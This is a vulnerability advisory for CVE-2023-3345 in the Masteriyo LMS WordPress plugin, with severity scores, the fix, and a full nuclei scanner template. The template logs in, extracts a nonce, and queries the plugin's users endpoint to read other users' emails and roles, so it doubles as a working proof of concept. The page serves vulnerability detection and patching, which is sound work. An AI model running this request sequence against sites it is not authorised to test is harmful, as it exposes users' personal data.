CVE-2023-3345· masteriyo / masteriyo· CWE-200
LMS by Masteriyo < 1.6.8 - Information Exposure
mediumseverity
6.5CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it
The plugin does not properly safeguards sensitive user information, like other user's email addresses, making it possible for any students to leak them via some of the plugin's REST API endpoints.
Impact
An attacker can gain unauthorized access to sensitive information.
Fix
Upgrade LMS by Masteriyo to version 1.6.8 or higher to fix the vulnerability.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/profile.php ; GET /wp-json/masteriyo/v1/users/
Positive when: contains in body_3 "\"username\":" and "\"email\":" and "\"roles\":" AND contains in header_3 "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2023-3345 -u <target>
The full check
id: CVE-2023-3345
info:
name: LMS by Masteriyo < 1.6.8 - Information Exposure
author: DhiyaneshDK
severity: medium
description: |
The plugin does not properly safeguards sensitive user information, like other user's email addresses, making it possible for any students to leak them via some of the plugin's REST API endpoints.
impact: |
An attacker can gain unauthorized access to sensitive information.
remediation: |
Upgrade LMS by Masteriyo to version 1.6.8 or higher to fix the vulnerability.
reference:
- https://wpscan.com/vulnerability/0d07423e-98d2-43a3-824d-562747a3d65a
- https://github.com/RandomRobbieBF/learning-management-system
- https://wordpress.org/plugins/learning-management-system
- https://nvd.nist.gov/vuln/detail/CVE-2023-3345
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2023-3345
cwe-id: CWE-200
epss-score: 0.0197
epss-percentile: 0.80571
cpe: cpe:2.3:a:masteriyo:masteriyo:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: masteriyo
product: masteriyo
framework: wordpress
tags: cve2023,cve,wp-plugin,wp,wordpress,exposure,authenticated,learning-management-system,wpscan,masteriyo,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-json/masteriyo/v1/users/ HTTP/1.1
Host: {{Hostname}}
X-WP-Nonce: {{nonce}}
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- '"username":'
- '"email":'
- '"roles":'
condition: and
- type: word
part: header_3
words:
- application/json
- type: status
status:
- 200
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- '"nonce":"([a-z0-9]+)","versionString'
internal: trueReferences
- https://wpscan.com/vulnerability/0d07423e-98d2-43a3-824d-562747a3d65a
- https://github.com/RandomRobbieBF/learning-management-system
- https://wordpress.org/plugins/learning-management-system
- https://nvd.nist.gov/vuln/detail/CVE-2023-3345
Use this check only on systems you are authorised to test. Where the data comes from